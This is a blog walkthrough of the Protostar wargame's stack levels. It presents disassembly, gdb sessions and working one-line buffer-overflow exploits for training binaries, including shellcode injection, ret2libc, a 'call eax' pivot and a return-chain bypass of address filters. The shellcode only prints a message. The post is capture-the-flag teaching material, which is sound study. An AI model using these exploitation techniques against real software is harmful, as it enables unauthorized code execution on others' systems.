THE

SPRAWL

  •  
  •  
  •  
  • Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the stack exploitation portion of the wargame.

    Spoiler Warning: I would highly recommend you to go over the exercises yourself and come back to this article to find possibly different solutions or in case you get stuck.

    Stack 0

    The first exercise challenges you to modify the value of a local variable:

    0x080483f4 <main+0>:    push   ebp
    0x080483f5 <main+1>:    mov    ebp,esp
    0x080483f7 <main+3>:    and    esp,0xfffffff0
    0x080483fa <main+6>:    sub    esp,0x60
    0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0  ; local variable
    0x08048405 <main+17>:   lea    eax,[esp+0x1c]            ; input buffer
    0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
    0x0804840c <main+24>:   call   0x804830c <gets@plt>
    0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
    0x08048415 <main+33>:   test   eax,eax                   ; test the local variable
    0x08048417 <main+35>:   je     0x8048427 <main+51>       ; jmp if the variable == 0
    0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500 ; you have changed
                                                             ; the 'modified' variable
    0x08048420 <main+44>:   call   0x804832c <puts@plt>
    0x08048425 <main+49>:   jmp    0x8048433 <main+63>
    0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529 ; Try again?
    0x0804842e <main+58>:   call   0x804832c <puts@plt>
    0x08048433 <main+63>:   leave
    0x08048434 <main+64>:   ret
    

    Based on the above disassembly, it is sufficient to set the local variable at [esp+0x5c] to any non-zero value in order to pass the test at <main+35>. To do this we can overflow the buffer at [esp+0x1c] and continue writing until we reach [esp+0x5c], the offset of the local variable. To do this we need to write 0x5c - 0x1c or 0x40 (64) bytes followed by any non-zero value:

    $ echo `python -c 'print "A"*68'` | ./stack0
    you have changed the 'modified' variable
    

    Stack 1

    The next exercise builds adds an extra requirement to set the local variable to 0x61626364:

    0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
    0x080484ab <main+71>:   cmp    eax,0x61626364
    0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
    

    The solution simply requires extra 4 bytes written in the little endian order:

    $ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`
    you have correctly got the variable to the right value
    

    Stack 2

    This exercise is identical to Stack1 with the exception that the user input is now coming from the environment variable GREENIE instead of a command line parameter:

    0x0804849d <main+9>:    mov    DWORD PTR [esp],0x80485e0 ; "GREENIE"
    0x080484a4 <main+16>:   call   0x804837c <getenv@plt>
      :
      :
    0x080484d8 <main+68>:   lea    eax,[esp+0x18]            ; buffer[64]
    0x080484dc <main+72>:   mov    DWORD PTR [esp],eax
    0x080484df <main+75>:   call   0x804839c <strcpy@plt>    ; overflow
      :
      :
    0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]  ; modified variable
    0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a             ; verify the change
    

    Just as with the previous example, we just need to overflow the 64 byte buffer to reach the local variable:

    $ GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'` ./stack2
    you have correctly modified the variable
    

    Stack 3

    Now that we are comfortable with overwriting local variables on the stack, this example challenges you to redirect the execution flow. The executable includes a function win() which is not normally called at this address:

    (gdb) print win
    $1 = {void (void)} 0x8048424 <win>
    

    The main() function of the executable includes a local function pointer which is called at the very end:

    0x08048449 <main+17>:   lea    eax,[esp+0x1c]            ; buffer[64]
    0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
    0x08048450 <main+24>:   call   0x8048330 <gets@plt>      ; overflow
      :
      :
    0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]  ; function pointer
    0x08048475 <main+61>:   call   eax
    

    Knowing the address of win(), we could just overflow the buffer and place the address of win() into the local function pointer:

    $ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
    calling function pointer, jumping to 0x08048424
    code flow successfully changed
    

    Stack 4

    This exercise introduces basic exploitation of a buffer overflow vulnerability using the return address pointer overwrite. The goal is once more to execute the win() function:

    (gdb) print win
    $1 = {void (void)} 0x80483f4 <win>
    

    Let's create a sample input file with just 64 bytes:

    $ python -c 'print "B"*64' > /tmp/payload
    

    In order to study the memory state we could set a breakpoint right after the overflow occurs:

    (gdb) disas main
    Dump of assembler code for function main:
    0x08048408 <main+0>:    push   ebp
    0x08048409 <main+1>:    mov    ebp,esp
    0x0804840b <main+3>:    and    esp,0xfffffff0
    0x0804840e <main+6>:    sub    esp,0x50
    0x08048411 <main+9>:    lea    eax,[esp+0x10]       ; buffer[64]
    0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
    0x08048418 <main+16>:   call   0x804830c <gets@plt> ; overflow
    0x0804841d <main+21>:   leave
    0x0804841e <main+22>:   ret
    End of assembler dump.
    (gdb) break *main+21
    Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
    

    Finally, observe the stack to see just how many more bytes are necessary to reach the return address:

    (gdb) r < /tmp/payload
    Breakpoint 1, main (argc=1, argv=0xbffff874) at stack4/stack4.c:16
    (gdb) x/2x $ebp
    0xbffff7c8:     0xbffff848      0xb7eadc76
                         |               |
         saved ebp ------+               +------ return address
    
    (gdb) x/24x $esp
    0xbffff770:     0xbffff780      0xb7ec6165      0xbffff788      0xb7eada75
    0xbffff780:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff790:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7a0:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7b0:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7c0:     0x08048400      0x00000000      0xbffff848      0xb7eadc76
    

    It appears that the buffer begins at 0xbffff780 and the return address is stored at 0xbffff7cc, so a carefully crafted buffer of size 0x4C or 76 should redirect the output:

    $ python -c 'print "B"*76 + "\xf4\x83\x04\x08"' > /tmp/payload
    

    Let's see how this payload affects the execution flow:

    (gdb) r < /tmp/payload
    Breakpoint 1, main (argc=0, argv=0xbffff874) at stack4/stack4.c:16
    (gdb) x/2x $ebp
    0xbffff7c8:     0x42424242      0x080483f4
                                        |
                                        +-------- address of win()
    (gdb) c
    Continuing.
    code flow successfully changed   <------ win() executed
    
    Program received signal SIGSEGV, Segmentation fault.
    0x00000000 in ?? ()
    

    Great! At this point we could run the exploit without debugger:

    $ echo `python -c 'print "B"*76 + "\xf4\x83\x04\x08"'` | ./stack4
    code flow successfully changed
    Segmentation fault (core dumped)
    

    If the standalone version does not work for you, it is possible the offsets are different compared to the debugging session. One approach to figuring out correct offsets without running the application in a debugger is to use core dump as illustrated in the next example.

    Stack 5

    In this exercise we are finally getting to arbitrary code execution instead of relying on the code already in the program itself. First let's figure out where on the stack our buffer is located. Unlike the previous example, I will use core dumps for analysis instead of direct debugging in order to capture the memory state of the program exactly as it appears during normal execution:

    $ ulimit -c unlimited
    $ python -c 'print "B"*76 + "AAAA"' | ./stack5
    Segmentation fault (core dumped)
    

    The above commands enable core dumps and generated one by triggering the overflow in ./stack5. Let's load the generated core dump and find the buffer:

    $ gdb ./stack5 /tmp/core.11.stack5.2683 -q
      :
      :
    Core was generated by `./stack5'.
    Program terminated with signal 11, Segmentation fault.
    #0  0x41414141 in ?? ()
    (gdb) x/24x $esp-96
    0xbffff7b0:     0xbffff7c0      0xb7ec6165      0xbffff7c8      0xb7eada75
    0xbffff7c0:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7d0:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7e0:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7f0:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff800:     0x42424242      0x42424242      0x42424242      0x41414141
    

    It appears the program has already tried to execute 0x41414141 address, so the offsets are correct. The user buffer begins at 0xbffff7c0. Before using a shellcode let's test out the overall exploit flow with a jump to \xcc bytes which should trigger a breakpoint:

    $ python -c 'print "\xcc"*76 + "\xc0\xf7\xff\xbf"' | ./stack5
    Trace/breakpoint trap (core dumped)
    

    Wonderful, at this point feel free to substitute a shellcode of your choice (under 76 bytes) to complete the exploit for this exercise:

    $ python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(76-34) + "\xc0\xf7\xff\xbf"' | ./stack5
    Owned!!!
    

    NOTE: The shellcode above simply prints out "Owned!!!" string for illustration purposes.

    Stack 6

    As in all of the previous exercises, let's find a stack buffer to overflow:

    0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
    0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
    0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>    ; overflow
    

    The compiler used EBP as a reference point for local variables making calculations easier. The buffer is located 0x4c or 76 bytes from EBP, so in order to overwrite the return address we just need to write 4 more bytes. We could locate the user buffer in memory while testing out the calculation as follows:

    $ python -c 'print "B"*80+"AAAA"' > /tmp/payload
    $ ulimit -c unlimited
    $ python -c 'print "B"*80+"AAAA"' | ./stack6
    input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBBBBBBBBBAAAA
    Segmentation fault (core dumped)
    $ gdb ./stack6 /tmp/core.11.stack6.3095
      :
      :
    Core was generated by `./stack6'.
    Program terminated with signal 11, Segmentation fault.
    #0  0x41414141 in ?? ()
    (gdb) x/40x $esp-100
    0xbffff79c:     0x00000001      0x00000000      0x00000001      0xb7fff8f8
    0xbffff7ac:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7bc:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7cc:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7dc:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7ec:     0x41414141      0x42424242      0x42424242      0x42424242
    0xbffff7fc:     0x41414141      0x08048500      0x00000000      0xbffff888
    0xbffff80c:     0xb7eadc76      0x00000001      0xbffff8b4      0xbffff8bc
    0xbffff81c:     0xb7fe1848      0xbffff870      0xffffffff      0xb7ffeff4
    0xbffff82c:     0x080482a1      0x00000001      0xbffff870      0xb7ff0626
    

    So far so good. EIP was correctly set to 0x41414141, so the calculations were correct. With the buffer at 0xbffff7ac, let's write a quick PoC to trigger a breakpoint just as before:

    $ python -c 'print "\xcc"*80+"\xac\xf7\xff\xbf"' | ./stack6
    input path please: bzzzt (0xbffff7ac)
    

    Ha! It appears the exercise implemented an explicit check on the return address value to make sure it does not point to 0xbf?????? range (stack):

    0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4] ; return address
    0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
    0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
    0x080484b8 <getpath+52>:    and    eax,0xbf000000          ; apply mask
    0x080484bd <getpath+57>:    cmp    eax,0xbf000000
    0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>  ; check address
      :
      :
    0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1     ; bzzzt, overflow!
    0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>   ; exit early
    

    Duplicate payload

    May be we can locate user payload somewhere in memory not starting with 0xbf....... Let's load the core dump from the previous example and attempt to find the buffer at a more friendly address:

    (gdb) info files
    Symbols from "/home/user/stack6".
    Local core dump file:
            `/tmp/core.11.stack6.3095', file type elf32-i386.
            0x08048000 - 0x08049000 is load1
            0x08049000 - 0x0804a000 is load2
            0xb7e96000 - 0xb7e97000 is load3
            0xb7e97000 - 0xb7e98000 is load4a
            0xb7e98000 - 0xb7e98000 is load4b
            0xb7fd5000 - 0xb7fd5000 is load5
            0xb7fd6000 - 0xb7fd8000 is load6
            0xb7fd8000 - 0xb7fd9000 is load7
            0xb7fd9000 - 0xb7fdc000 is load8
            0xb7fde000 - 0xb7fe2000 is load9
            0xb7fe2000 - 0xb7fe3000 is load10
            0xb7fe3000 - 0xb7fe4000 is load11a
            0xb7fe4000 - 0xb7fe4000 is load11b
            0xb7ffe000 - 0xb7fff000 is load12
            0xb7fff000 - 0xb8000000 is load13
            0xbffea000 - 0xc0000000 is load14
    (gdb) find /w1 0xb7e96000, 0xb7e97000, 0x42424242
    Pattern not found.
       :
       :
    (gdb) find /w1 0xb7fde000, 0xb7fe2000, 0x42424242
    0xb7fde000
    1 pattern found.
    (gdb) x/20x 0xb7fde000
    0xb7fde000:     0x42424242      0x42424242      0x42424242      0x42424242
    0xb7fde010:     0x42424242      0x42424242      0x42424242      0x42424242
    0xb7fde020:     0x42424242      0x42424242      0x42424242      0x42424242
    0xb7fde030:     0x42424242      0x42424242      0x42424242      0x42424242
    0xb7fde040:     0x42424242      0x42424242      0x42424242      0x42424242
    

    After spending some time digging through the core file, it appears our buffer is indeed located at a different address, 0xb7fde000. Once again we can craft the exploit

    $ python -c 'print "\x90"*4 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(80-34-4)+"\x04\xe0\xfd\xb7"' | ./stack6
    input path please: got path ▒▒▒▒1▒1▒1▒1Ұ▒hd!!!hOwne▒̀▒1▒̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    Owned!!!
    

    ret2libc

    Another exploitation approach involves returning to a system function, ret2libc, which would bypass the filter as well. First let's find the addresses of system functions puts() and exit() so we could print out the string "Owned!!!" and exit cleanly:

    (gdb) p puts
    $1 = {<text variable, no debug info>} 0xb7ef4780 <_IO_puts>
    (gdb) p exit
    $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
    

    Now we just need a pointer to a string we want to print. For convenience, I will append it to the end of the payload in order to take advantage of the terminating null byte. The address of the string parameter can be located using a placeholder as follows:

    $ python -c 'print "B"*80+"\x80\x47\xef\xb7"+"\xc0\x60\xec\xb7"+"\x43\x43\x43\x43"+"Owned!!!"' > /tmp/payload
                                   puts()             exit()        *str (placeholder)
    

    Now locate the address of "Owned!!!" and fill in the string address placeholder:

    $ ./stack6 < /tmp/payload
    input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB▒G▒BBBBBBBBBBBB▒G▒▒`▒CCCCOwned!!!
    Segmentation fault (core dumped)
    $ gdb ./stack6 /tmp/core.11.stack6.
    (gdb) x/s $esp+48
    0xbffff808:      "Owned!!!"
    

    Great, so the string is located at 0xbffff808. At this point we can write an alternative exploit for this exercise:

    $ python -c 'print "B"*80+"\x80\x47\xef\xb7"+"\xc0\x60\xec\xb7"+"\x08\xf8\xff\xbf"+"Owned!!!"' | ./stack6
    input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB▒G▒BBBBBBBBBBBB▒G▒▒`▒▒▒Owned!!!
    Owned!!!
    

    NOTE: There are definitely reliability issues with keeping the string pointer on the stack as part of the input buffer, a more reliable version would use the address of an environment variable located further down the stack.

    Stack 7

    The final exercise in this series introduces an even more restrictive test for the return address value:

    0x080484ef <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4] ; return address
    0x080484f2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
    0x080484f5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
    0x080484f8 <getpath+52>:    and    eax,0xb0000000          ; apply mask
    0x080484fd <getpath+57>:    cmp    eax,0xb0000000
    0x08048502 <getpath+62>:    jne    0x8048524 <getpath+96>  ; check address
    

    This immediately invalidates the first solution in the previous exercise since 0xb7fde000 is going to be caught by the filter.

    Stack Pivot

    In order to decide on the exact exploitation path, let's look at the state of the program at the time of the overflow:

    $ python -c 'print "B"*80+"AAAA"' | ./stack7
    input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBBBBBBBBBAAAA
    Segmentation fault (core dumped)
    user@protostar:~$ gdb ./stack7 /tmp/core.11.stack7.5953
      :
      :
    Program terminated with signal 11, Segmentation fault.
    #0  0x41414141 in ?? ()
    (gdb) i r
    eax            0x804a008        134520840
    ecx            0x0      0
    edx            0x1      1
    ebx            0xb7fd7ff4       -1208123404
    esp            0xbffff800       0xbffff800
    ebp            0x42424242       0x42424242
    esi            0x0      0
    edi            0x0      0
    eip            0x41414141       0x41414141
    (gdb) x/20x $esp-16
    0xbffff7f0:     0x42424242      0x42424242      0x42424242      0x41414141
    0xbffff800:     0x08048500      0x00000000      0xbffff888      0xb7eadc76
    0xbffff810:     0x00000001      0xbffff8b4      0xbffff8bc      0xb7fe1848
    0xbffff820:     0xbffff870      0xffffffff      0xb7ffeff4      0x080482bc
    0xbffff830:     0x00000001      0xbffff870      0xb7ff0626      0xb7fffab0
    

    After the overflow, ESP points directly after the end of the buffer. So if we were to find an instruction like JMP ESP, CALL ESP, etc. in memory we could easily pivot to the stack and start executing the shellcode:

    (gdb) info files
      :
    0x08048410 - 0x080485fc is .text
      :
    (gdb) find /b1 0x08048410, 0x080485fc, 0xff, 0xe4
    Pattern not found.
    (gdb) find /b1 0x08048410, 0x080485fc, 0xff, 0xd4
    Pattern not found.
    

    Now that was disappointing. msfelfscan was not that much more helpful either:

    $ msfelfscan -j ESP ./stack7 
    [./stack7]
    

    Unfortunately this approach is a dead end so we must seek another way.

    Let's step back and look at the registers dump above to see if any of them lead to something interesting:

    (gdb) x/20x $eax
    0x804a008:      0x42424242      0x42424242      0x42424242      0x42424242
    0x804a018:      0x42424242      0x42424242      0x42424242      0x42424242
    0x804a028:      0x42424242      0x42424242      0x42424242      0x42424242
    0x804a038:      0x42424242      0x42424242      0x42424242      0x42424242
    0x804a048:      0x41414141      0x42424242      0x42424242      0x42424242
    

    Neat! Somehow, EAX was pointing to the heap area which contained our shellcode. Let's investigate what caused this:

    0x08048538 <getpath+116>:   lea    eax,[ebp-0x4c]         ; buffer
    0x0804853b <getpath+119>:   mov    DWORD PTR [esp],eax
    0x0804853e <getpath+122>:   call   0x80483f4 <strdup@plt>
    0x08048543 <getpath+127>:   leave
    0x08048544 <getpath+128>:   ret
    

    It appears just before the vulnerable function returns there is a call to strdup() which copies the passed string to the heap and returns a pointer to it. Following the convention the returned heap pointer is stored in EAX which we can now use to pivot with something like JMP EAX or CALL EAX:

    $ msfelfscan -j EAX ./stack7 
    [./stack7]
    0x080484bf call eax
    0x080485eb call eax
    

    At this point we can create the final exploit:

    $ python -c 'print "\x90"*4 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(80-34-4)+"\xbf\x84\x04\x08"' | ./stack7
    input path please: got path ▒▒▒▒1▒1▒1▒1Ұ▒hd!!!hOwne▒̀▒1▒̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒̿▒▒▒▒▒▒▒▒▒▒▒̿▒
    Owned!!!
    

    ROP

    The authors of the exercise were nice enough to put strdup() call to allow for the pivot using EAX. Without strdup() another approach is needed. For example, we could use another RET instruction to jump to an address placed immediately after the overwritten return address pointer. First locate the beginning of the buffer on the stack:

    (gdb) x/20x $esp-100
    0xbffff79c:     0x00000001      0x00000000      0x00000001      0xb7fff8f8
    0xbffff7ac:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7bc:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7cc:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff7dc:     0x42424242      0x42424242      0x42424242      0x42424242
    

    The address of the RET instruction can be found throughout the program, let's use the one from the vulnerable function itself:

    (gdb) disas getpath
    Dump of assembler code for function getpath:
      :
      :
    0x08048544 <getpath+128>:       ret
    

    Now combining the two addresses together:

    $ python -c 'print "\x90"*4 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(80-34-4)+"\x44\x85\x04\x08"+"\xac\xf7\xff\xbf"' | ./stack7
    input path please: got path ▒▒▒▒1▒1▒1▒1Ұ▒hd!!!hOwne▒̀▒1▒̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒D▒▒▒▒▒▒▒▒▒▒▒▒D▒▒▒▒
    Owned!!!
    

    External Links and References

    Special Note

    Thanks to the folks at Exploit Exercises for creating the excellent wargame. Particularly making the exercises highly pedagogical with progressive difficulty and building on previously learned material.

    Published on May 9th, 2014 by iphelix

    sprawlsimilar

    exploit exercises - protostar - final levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. The final portion of the wargame combines Stack, Format String, Heap, and Network exploitation techniques into three excellent challenges to help solidify knowledge gained from previous exercises. Read more.

    exploit exercises - protostar - format string levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the format string exploitation portion of the wargame. Read more.

    exploit exercises - protostar - heap levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the heap exploitation portion of the wargame. Read more.

    exploit exercises - protostar - network levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the network exploitation portion of the wargame. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\